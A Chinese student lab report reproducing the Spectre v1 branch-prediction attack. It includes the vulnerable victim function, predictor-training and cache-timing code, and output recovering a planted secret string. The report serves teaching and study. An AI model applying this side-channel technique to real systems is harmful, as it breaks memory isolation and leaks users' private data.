微处理器安全漏洞：Spectre ★★★

实验报告

计04 何秉翔 2020010944

1. 实验背景

分支预测是一种 CPU 优化技术，使用分支预测的目的，在于改善指令流水线的流程。当分支指令发出之后，无相关优化技术的处理器，在未收到正确的反馈信息之前，不会做任何处理；而具有优化技术能力的 CPU 会在分支指令执行结束之前猜测指令结果，并提前运行预测的分支代码，以提高处理器指令流水线的性能。

如果预测正确则提高 CPU 运行速度，如果预测失败 CPU 则丢弃计算结果，并将寄存器恢复之前的状态。但是这样的性能优化技术是存在安全漏洞的，在**预测失败的情况下 CPU 是不会恢复缓存状态的**，因此可以利用分支预测技术读取敏感信息，并通过缓存侧信道泄露出来。微处理器架构侧信道严重损害内存的隔离性，泄露用户隐私信息。

2. 实验目的

通过实现 Spectre 攻击样例，学习了解 CPU 性能优化技术（分支预测）带来的安全问题，进一步理解 CPU 的工作进程，加深对处理器硬件安全的认识。实验用到的源码以及相关的输入文件可在 清华云盘 获得。

3. 环境设置

本实验的硬件环境为 Intel(R) Core(TM) i7-10510U CPU @ 1.80GHz 2.30 GHz，采用**小端序**，软件环境为 Ubuntu 20.04.5 LTS，g++ 版本为 g++ (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0，受害程序由 C 语言实现。

4. 实验过程

4.1 实验变量准备

我们准备以下的实验变量：

- char* secret：用于存放待窃取的秘密字符串 "Veni, vidi, vici"
- uint8_t spy[16] = {1, 2, ..., 16}：用于越界读取 secret 数据，spy_size = 16
- uint8_t cache_set[256 * 512]：用于构建缓存驱逐集
- int result[256]：用于统计 cache hit 次数
- char *output：用于存放实际窃取的字符串，与 secret 进行对比

4.2 构造分支预测漏洞

我们构造分支预测漏洞如下：

```
1  void victim_function(size_t x) {
2      if (x < spy_size) {
3          temp &= cache_set[spy[x] * 512];
4      }
5  }
```

当访问的 x 不超过 spy_size 时，即正常访问 spy 数组内的数据，这里由分支判断语句 x < spy_size 来控制，但是当 x 超过 spy_size 时，如果分支预测器预测该分支成功，此时不合法的数据 spy[x] 将被恶意访问，并在 CPU 缓存留下痕迹，即便 CPU 发现分支预测失败，也不会清理缓存痕迹，因此为真正窃取非法数据提供了可能。

4.3 关键步骤

- 我们首先在主函数内初始化好 malicious_x 的起始值，此为秘密字符串的起始地址与 spy 数组的间隔，当以此为下标来访问 spy 时，实际上访问到的即为秘密字符串的首位。
- 然后提前对 cache_set 做写入，防止位于 Copy on Write 的页上。
- 然后对从 malicious_x 开始的每一个字符进行探测：
  1. 首先清零 result 数组，为统计 cache hit 做准备。
  2. 然后利用 _mm_clflush 清空 cache_set 以及 spy_size 缓存状态。
  3. 用 0 ~ 15 的固定索引去访问 spy 数组 5 次，训练分支预测器进行"正确"分支，然后使用 malicious_x 去访问 spy 数组 1 次，此时分支预测器会认为应当延续之前 5 次的"正确"分支，将 spy[malicious_x] 里的值放入缓存。
  4. 重复 10 次步骤 3，保证步骤 3 顺利读取敏感数据。
  5. 遍历读取 cache_set，但读取下标为随机读取，而不是按顺序读取，防止 CPU 提前按序预取内容到缓存里。测量读取时间，并计算读取时间小于阈值的次数，此时即为缓存命中的次数，更新 result。
  6. 重复 1000 次步骤 2 ~ 5，x 从 0 ~ 15 循环使用，然后找到 result 数组里最大的值对应的下标，此即说明缓存命中次数最多的下标，说明这个下标即为敏感数据，此时需要保证考虑的下标范围为 [32, 126]，这个范围内的 ascii 字符才是我们需要的。

4.4 关键源代码

1. 将敏感数据泄露到缓存内：

```
// 循环 CALL_TIMES 次，保证成功读取敏感数据
for (size_t j = 0; j < CALL_TIMES * 6; ++j) {
    // 延迟 100 loops
    for (volatile int z = 0; z < 100; z++) {}
    input_x = x_array[j];
    victim_function(input_x); // 访问 victim function
}
```

2. 统计缓存命中次数：

```
// 读取变量并计算时间，读取顺序打乱
for (size_t j = 0; j < 256; ++j) {
    visit_idx = (j * 373587883 + 472882027) & 255;
    visit_addr = &cache_set[visit_idx * 512];
    time1 = __rdtscp(&tmp);
    tmp = *visit_addr;
    time2 = __rdtscp(&tmp);
    if (time2 - time1 <= CACHE_HIT_THRESHOLD && visit_idx != spy[in_bound_x]) {
        result[visit_idx]++;
    }
}
```

3. 获取敏感数据：

```
// 获取敏感数据
int target_idx = -1, target_cnt = -1;
// 探测 [32, 126] 内的 ascii 字符
for (int i = 32; i <= 126; ++i) {
    if (result[i] > target_cnt) {
        target_cnt = result[i];
        target_idx = i;
    }
}
output[curr_idx] = target_idx;
```

4.5 实验结果

```
project2 ➤ ./victim
>>> Getting secret char -- 'V'
>>> Getting secret char -- 'e'
>>> Getting secret char -- 'n'
>>> Getting secret char -- 'i'
>>> Getting secret char -- ','
>>> Getting secret char -- ' '
>>> Getting secret char -- 'v'
>>> Getting secret char -- 'i'
>>> Getting secret char -- 'd'
>>> Getting secret char -- 'i'
>>> Getting secret char -- ','
>>> Getting secret char -- ' '
>>> Getting secret char -- 'v'
>>> Getting secret char -- 'i'
>>> Getting secret char -- 'c'
>>> Getting secret char -- 'i'
Getting the whole string: "Veni, vidi, vici"
The true whole string:    "Veni, vidi, vici"
```

从输出中看出，我们所窃取的秘密字符串与实际的秘密字符串一致，说明攻击成功。

5. 影响因素分析

我们在复现 Spectre 论文的 Section IV 时，注意到以下因素会影响实验的成功复现：

1. 预先写入 cache_set，保证这部分位于一个特定的物理内存页上，如果位于 COW 的页面上，由于计时行为可能不同，导致干扰攻击。
2. 分支预测：我们注意到论文的源码里，访问 5 次正常 x 后接着访问一次恶意的 x 通过较为繁琐的位运算实现，当尝试使用分支判断实现时，窃取的字符串与真实的字符串并不完全一致，导致出现了错误的情况。因此我们需要避免在循环访问 spy 时应该禁止可能的分支，于是我们提前将接下来对 spy 访问时依次需要使用的 x 值给设置好：

   ```
   1  if (j % 6 == 0) {
   2      x_array[j] = malicious_x;
   3  } else {
   4      x_array[j] = in_bound_x;
   5  }
   ```

   之后直接以 x_array[j] 作为 victim_function 的输入即可。
3. 攻击前延迟：我们需要在真正调用 victim_function 之前进行一段时间的延迟，以等待探测的敏感数据被加载到缓存内。
4. 随机访问 cache_set：我们注意到在测访问时间时，对 cache_set 的访问要随机访问，而不能按序访问，若按序访问，则可能使得 CPU 将对应位置附近的内容预取到缓存内，导致 cache hit 计数出现偏差。